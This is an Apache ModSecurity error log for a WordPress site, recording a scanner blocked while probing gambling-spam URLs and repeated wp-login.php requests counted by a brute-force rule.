[Thu Mar 19 21:48:21.573056 2026] [:error] [pid 1247:tid 1257] [client 147.135.252.148:36154] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/allslot%20wallet.aspx"] [unique_id "abv-pQ5tmeOr-yI4XNH1HQAAAcg"]
[Thu Mar 19 21:48:23.574120 2026] [:error] [pid 1285:tid 1293] [client 147.135.252.148:36158] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/amb%20superslot.aspx"] [unique_id "abv-p1E95r3zR75X1HpLUgAAAgY"]
[Thu Mar 19 21:48:25.546283 2026] [:error] [pid 51091:tid 51132] [client 147.135.252.148:36160] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abv-qb7LZKhdJPD9CBvf1gAAAVU"]
[Thu Mar 19 21:48:27.618804 2026] [:error] [pid 1247:tid 1270] [client 147.135.252.148:50522] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "abv-qw5tmeOr-yI4XNH1OQAAAdU"]
[Thu Mar 19 21:48:29.654331 2026] [:error] [pid 51091:tid 51114] [client 147.135.252.148:50524] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "abv-rb7LZKhdJPD9CBvf3AAAAUM"]
[Thu Mar 19 21:48:31.707500 2026] [:error] [pid 1285:tid 1293] [client 147.135.252.148:50530] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "abv-r1E95r3zR75X1HpLbQAAAgY"]
[Thu Mar 19 21:48:33.724755 2026] [:error] [pid 1285:tid 1294] [client 147.135.252.148:50538] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "abv-sVE95r3zR75X1HpLdwAAAgc"]
[Thu Mar 19 21:48:35.850470 2026] [:error] [pid 11110:tid 11121] [client 147.135.252.148:50548] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "abv-swSNPqGfikw7k8LHUAAAAAY"]
[Thu Mar 19 21:48:37.726659 2026] [:error] [pid 11015:tid 11048] [client 147.135.252.148:42456] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "abv-tfPcMwFQZAVfzLSJiAAAAII"]
[Thu Mar 19 21:48:39.759298 2026] [:error] [pid 1397:tid 1412] [client 147.135.252.148:42472] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "abv-t3ptc6vBjy-kgOMhrAAAAs0"]
[Thu Mar 19 21:48:41.832562 2026] [:error] [pid 1397:tid 1404] [client 147.135.252.148:42474] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "abv-uXptc6vBjy-kgOMhrgAAAsU"]
[Thu Mar 19 21:48:43.970684 2026] [:error] [pid 11015:tid 11057] [client 147.135.252.148:42476] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "abv-u_PcMwFQZAVfzLSJmwAAAIs"]
[Thu Mar 19 21:48:46.058232 2026] [:error] [pid 1285:tid 1300] [client 147.135.252.148:42488] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "abv-vlE95r3zR75X1HpLgQAAAg0"]
[Thu Mar 19 21:48:48.232967 2026] [:error] [pid 1247:tid 1250] [client 147.135.252.148:38024] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "abv-wA5tmeOr-yI4XNH1WAAAAcE"]
[Thu Mar 19 21:48:50.307343 2026] [:error] [pid 1247:tid 1265] [client 147.135.252.148:38032] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "abv-wg5tmeOr-yI4XNH1YgAAAdA"]
[Thu Mar 19 21:48:52.506957 2026] [:error] [pid 1285:tid 1300] [client 147.135.252.148:38048] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "abv-xFE95r3zR75X1HpLtQAAAg0"]
[Thu Mar 19 21:48:54.466028 2026] [:error] [pid 1285:tid 1311] [client 147.135.252.148:38056] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "abv-xlE95r3zR75X1HpLwgAAAhg"]
[Thu Mar 19 21:48:56.562780 2026] [:error] [pid 1247:tid 1263] [client 147.135.252.148:33770] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "abv-yA5tmeOr-yI4XNH1cwAAAc4"]
[Thu Mar 19 21:48:58.799683 2026] [:error] [pid 1441:tid 1446] [client 147.135.252.148:33784] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "abv-yof6BGzjfVNuehUiTwAAAwM"]
[Thu Mar 19 21:49:00.875513 2026] [:error] [pid 48106:tid 48135] [client 147.135.252.148:33794] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "abv-zMVZaUGvkz29lZEdLgAAANU"]
[Thu Mar 19 21:49:03.039935 2026] [:error] [pid 11016:tid 11076] [client 147.135.252.148:33806] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "abv-zxPK94J9G19C6uVZuAAAAQM"]
[Thu Mar 19 21:49:05.205077 2026] [:error] [pid 1397:tid 1412] [client 147.135.252.148:33814] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "abv-0Xptc6vBjy-kgOMhtgAAAs0"]
[Thu Mar 19 21:49:07.297340 2026] [:error] [pid 11015:tid 11065] [client 147.135.252.148:38480] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "abv-0_PcMwFQZAVfzLSJtAAAAJM"]
[Thu Mar 19 21:49:09.132589 2026] [:error] [pid 1247:tid 1255] [client 147.135.252.148:38484] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "abv-1Q5tmeOr-yI4XNH1kQAAAcY"]
[Thu Mar 19 21:49:11.071453 2026] [:error] [pid 11014:tid 11019] [client 147.135.252.148:38490] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "abv-1zBVizvrAl0DfCAcVAAAAEA"]
[Thu Mar 19 21:49:13.153508 2026] [:error] [pid 51091:tid 51120] [client 147.135.252.148:38492] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "abv-2b7LZKhdJPD9CBvf_wAAAUk"]
[Thu Mar 19 21:49:50.486944 2026] [:error] [pid 1247:tid 1262] [client 147.135.252.148:38508] [client 147.135.252.148] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20game.aspx"] [unique_id "abv-_g5tmeOr-yI4XNH2FwAAAc0"]
[Thu Mar 19 21:57:25.676292 2026] [:error] [pid 11015:tid 11066] [client 116.90.32.38:34676] [client 116.90.32.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.32.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwAxfPcMwFQZAVfzLSMRgAAAJQ"]
[Thu Mar 19 21:57:28.638705 2026] [:error] [pid 1247:tid 1267] [client 116.90.32.38:34684] [client 116.90.32.38] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.90.32.38, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwAyA5tmeOr-yI4XNH6mwAAAdI"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:11:06.314046 2026] [:error] [pid 1285:tid 1307] [client 173.239.254.108:54059] [client 173.239.254.108] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.108, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwD-lE95r3zR75X1HpV4QAAAhQ"]
[Thu Mar 19 22:11:06.315668 2026] [:error] [pid 11015:tid 11046] [client 173.239.254.96:46069] [client 173.239.254.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.96, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwD-vPcMwFQZAVfzLSP1gAAAIA"]
[Thu Mar 19 22:18:31.014544 2026] [:error] [pid 11110:tid 11127] [client 110.4.40.116:60114] [client 110.4.40.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.4.40.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwFtwSNPqGfikw7k8LOCgAAAAw"]
[Thu Mar 19 22:18:32.789286 2026] [:error] [pid 11110:tid 11135] [client 110.4.40.116:60114] [client 110.4.40.116] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 110.4.40.116, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwFuASNPqGfikw7k8LODAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:22:58.299325 2026] [:error] [pid 11015:tid 11070] [client 208.109.188.137:41754] [client 208.109.188.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.188.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwGwvPcMwFQZAVfzLSTfwAAAJg"]
[Thu Mar 19 22:23:01.108251 2026] [:error] [pid 1397:tid 1423] [client 208.109.188.137:41778] [client 208.109.188.137] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 208.109.188.137, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwGxXptc6vBjy-kgOMmCQAAAtg"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:27:49.011640 2026] [:error] [pid 1247:tid 1259] [client 162.241.49.35:33444] [client 162.241.49.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.49.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwH5Q5tmeOr-yI4XNENGgAAAco"]
[Thu Mar 19 22:27:51.970657 2026] [:error] [pid 1285:tid 1302] [client 162.241.49.35:34654] [client 162.241.49.35] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.49.35, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwH51E95r3zR75X1HpdDwAAAg8"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:28:34.522468 2026] [:error] [pid 1247:tid 1262] [client 178.63.148.110:45870] [client 178.63.148.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.63.148.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwIEg5tmeOr-yI4XNENmgAAAc0"]
[Thu Mar 19 22:28:36.131758 2026] [:error] [pid 1247:tid 1257] [client 178.63.148.110:45870] [client 178.63.148.110] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 178.63.148.110, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwIFA5tmeOr-yI4XNENnQAAAcg"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:48:25.461510 2026] [:error] [pid 1441:tid 1461] [client 193.19.109.13:43147] [client 193.19.109.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.13, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwMuYf6BGzjfVNuehUlBgAAAxE"]
[Thu Mar 19 22:48:25.467566 2026] [:error] [pid 48106:tid 48120] [client 173.239.254.100:57075] [client 173.239.254.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwMucVZaUGvkz29lZEi2gAAAMY"]
[Thu Mar 19 22:48:32.306043 2026] [:error] [pid 11016:tid 11074] [client 23.235.206.142:35572] [client 23.235.206.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.235.206.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwMwBPK94J9G19C6uVdvAAAAQE"]
[Thu Mar 19 22:48:33.636356 2026] [:error] [pid 11016:tid 11079] [client 23.235.206.142:35572] [client 23.235.206.142] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 23.235.206.142, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwMwRPK94J9G19C6uVdvQAAAQY"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:49:55.651817 2026] [:error] [pid 1247:tid 1256] [client 116.118.48.183:56924] [client 116.118.48.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.118.48.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwNEw5tmeOr-yI4XNEWBwAAAcc"]
[Thu Mar 19 22:49:57.359864 2026] [:error] [pid 1247:tid 1258] [client 116.118.48.183:56924] [client 116.118.48.183] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 116.118.48.183, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwNFQ5tmeOr-yI4XNEWCgAAAck"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 22:57:57.341147 2026] [:error] [pid 1247:tid 1257] [client 162.144.4.18:53184] [client 162.144.4.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.4.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwO9Q5tmeOr-yI4XNEZFwAAAcg"]
[Thu Mar 19 22:57:59.084380 2026] [:error] [pid 1247:tid 1271] [client 162.144.4.18:53184] [client 162.144.4.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.4.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwO9w5tmeOr-yI4XNEZIgAAAdY"], referer: https://gigfragments.org/wp-login.php
[Thu Mar 19 23:00:07.782705 2026] [:error] [pid 11014:tid 11041] [client 162.144.4.18:59692] [client 162.144.4.18] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.144.4.18, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwPdzBVizvrAl0DfCAh9AAAAFY"]
[Thu Mar 19 23:25:43.362250 2026] [:error] [pid 11014:tid 11026] [client 173.239.254.94:60959] [client 173.239.254.94] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.94, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwVdzBVizvrAl0DfCAjzAAAAEc"]
[Thu Mar 19 23:25:43.362453 2026] [:error] [pid 1247:tid 1267] [client 193.19.109.14:55291] [client 193.19.109.14] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.14, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwVdw5tmeOr-yI4XNEj9QAAAdI"]
[Fri Mar 20 00:00:57.481539 2026] [:error] [pid 1247:tid 1271] [client 193.19.109.15:24075] [client 193.19.109.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.15, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwduQ5tmeOr-yI4XNEwYAAAAdY"]
[Fri Mar 20 00:00:57.485894 2026] [:error] [pid 11110:tid 11127] [client 173.239.254.99:38655] [client 173.239.254.99] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.99, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwduQSNPqGfikw7k8Lg-wAAAAw"]
[Fri Mar 20 00:16:01.999856 2026] [:error] [pid 11015:tid 11047] [client 138.68.109.37:50636] [client 138.68.109.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.109.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwhQfPcMwFQZAVfzLSr1QAAAIE"]
[Fri Mar 20 00:16:03.695965 2026] [:error] [pid 11015:tid 11053] [client 138.68.109.37:50636] [client 138.68.109.37] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 138.68.109.37, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwhQ_PcMwFQZAVfzLSr1wAAAIc"], referer: https://gigfragments.org/wp-login.php
[Fri Mar 20 00:33:48.791393 2026] [:error] [pid 46125:tid 46215] [client 85.8.130.2:47345] [client 85.8.130.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 85.8.130.2, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwlbGgN4lI6NHeckY5RPAAAAIM"]
[Fri Mar 20 00:33:48.795439 2026] [:error] [pid 46125:tid 46213] [client 173.239.254.85:43493] [client 173.239.254.85] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 173.239.254.85, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwlbGgN4lI6NHeckY5RPQAAAII"]
[Fri Mar 20 00:36:28.662965 2026] [:error] [pid 46125:tid 46247] [client 172.234.219.28:43750] [client 172.234.219.28] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.234.219.28, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "abwmDGgN4lI6NHeckY5R8wAAAJM"]
